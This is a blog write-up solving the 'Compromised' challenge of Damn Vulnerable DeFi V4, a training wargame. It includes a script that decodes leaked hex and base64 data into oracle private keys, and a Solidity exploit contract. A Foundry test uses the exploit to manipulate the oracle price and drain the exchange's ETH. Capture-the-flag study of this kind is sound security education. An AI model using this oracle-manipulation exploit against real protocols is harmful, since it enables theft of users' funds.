Challenge 7: Compromised, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
4 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

There are mainly 3 smart contracts Exchange.sol, TrustfulOracle.sol and TrustfulOracleInitializer.sol
where TrustfulOracle is used for pricing of token in Exchange ,
These 3 sources are used as oracle.

    address[] sources = [
        0x188Ea627E3531Db590e6f1D71ED83628d1933088,
        0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
        0xab3600bF153A316dE44827e2473056d56B774a40
    ];

Vulnerability

This problem seems different as we've some on-chain leaked information, we've to figure out to decode this,

One of the main important and secretive information in blockchain space is private keys, let's try to break it down if it can.

  1. format string to remove spaces

  2. decode base64 string after converting hex to ascii

  3. verify generated private keys.

test/compromised/compromised.utils.js

const { ethers } = require("ethers");

function hexToAscii(hex) {
    let ascii = '';
    for (let i = 0; i < hex.length; i += 2) {
        ascii += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
    }
    return ascii;
}

function decodeBase64(base64Str) {
    // Decode Base64 to ASCII
    return atob(base64Str);
}

const leakedInformation = [
    '4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35',
    '4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34',
]

leakedInformation.forEach(leak => {
    hexStr = leak.split(` `).join(``).toString()

    const asciiStr = hexToAscii(hexStr);
    const decodedStr = decodeBase64(asciiStr);
    const privateKey = decodedStr;
    console.log("Private Key:", privateKey);

    // Create a wallet instance from the private key
    const wallet = new ethers.Wallet(privateKey);

    // Get the public key
    const address = wallet.address;
    console.log("Public Key:", address);
});
 node test/compromised/compromised.utils.js

Cross verifying generated public keys with TrustedOracles, 2 of them are same so, now we have access to Private keys which in how going to control pricing of token.

The Attack Strategy

"Buy low, sell high"
this is going to be our strategy to recover all amount from exchange with following steps.

  1. Set nft price at it's minimum (0)

  2. Buy the nft

  3. Set nft price high, equals to total balance of exchange to recover it all

  4. Sell the nft

  5. Transfer amount to recovery address

Let's build exploit smart contract CompromisedExploit to perform steps 2, 4 and 5. where as step 1 and 3 is going to be done outside of the contract.

test/compromised/CompromisedExploit.sol

pragma solidity =0.8.25;

import {TrustfulOracle} from "../../src/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../src/compromised/TrustfulOracleInitializer.sol";
import {Exchange} from "../../src/compromised/Exchange.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract CompromisedExploit is IERC721Receiver{

    TrustfulOracle oracle;
    Exchange exchange;
    DamnValuableNFT nft;
    uint nftId;
    address recovery;

    constructor(    
        TrustfulOracle _oracle,
        Exchange _exchange,
        DamnValuableNFT _nft,
        address _recovery
    ) payable {
        oracle = _oracle;
        exchange = _exchange;
        nft = _nft;
        recovery = _recovery;
    }

    function buy() external payable{
        uint _nftId = exchange.buyOne{value:1}();
        nftId = _nftId;
    }

    function sell() external payable{
        nft.approve(address(exchange), nftId);
        exchange.sellOne(nftId);
    }

    function recover(uint amount) external {
        payable(recovery).transfer(amount);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4){
        return this.onERC721Received.selector;
    }

    receive() external payable{
    }
}

Every contract functions are self explanatory and simple still,

  1. buy(): Purchases an NFT from the exchange for 1 wei.

  2. sell(): Approves and sells the previously bought NFT back to the exchange.

  3. recover(uint amount): Transfers a specified amount of Ether to a recovery address.

  4. onERC721Received(): Enables the contract to receive ERC721 tokens (NFTs).

  5. receive(): Allows the contract to receive Ether.

Let's attack!!

test/compromised/Compromised.t.sol

    function setPrice(uint price) internal {
        vm.startPrank(sources[0]);
        oracle.postPrice(symbols[0],price);
        vm.stopPrank();

        vm.startPrank(sources[1]);
        oracle.postPrice(symbols[0],price);
        vm.stopPrank();
    }
    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_compromised() public checkSolved {

        CompromisedExploit exploit = new CompromisedExploit{value:address(this).balance}(oracle, exchange, nft, recovery);

        setPrice(0);
        exploit.buy();

        setPrice(EXCHANGE_INITIAL_ETH_BALANCE);
        exploit.sell();

        exploit.recover(EXCHANGE_INITIAL_ETH_BALANCE);
    }

We are using vm.prank to impersonate account, as we know we do have private keys so we can do this anyways.

  1. setPrice(uint price): Internal function that sets the oracle price for a symbol using two trusted sources.

  2. test_compromised():

    • Creates an exploit contract with the full balance of the current contract.

    • Sets the price to 0, buys an NFT.

    • Sets the price to the exchange's initial ETH balance, sells the NFT.

    • Recovers the stolen funds.

forge test --mp test/compromised/Compromised.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.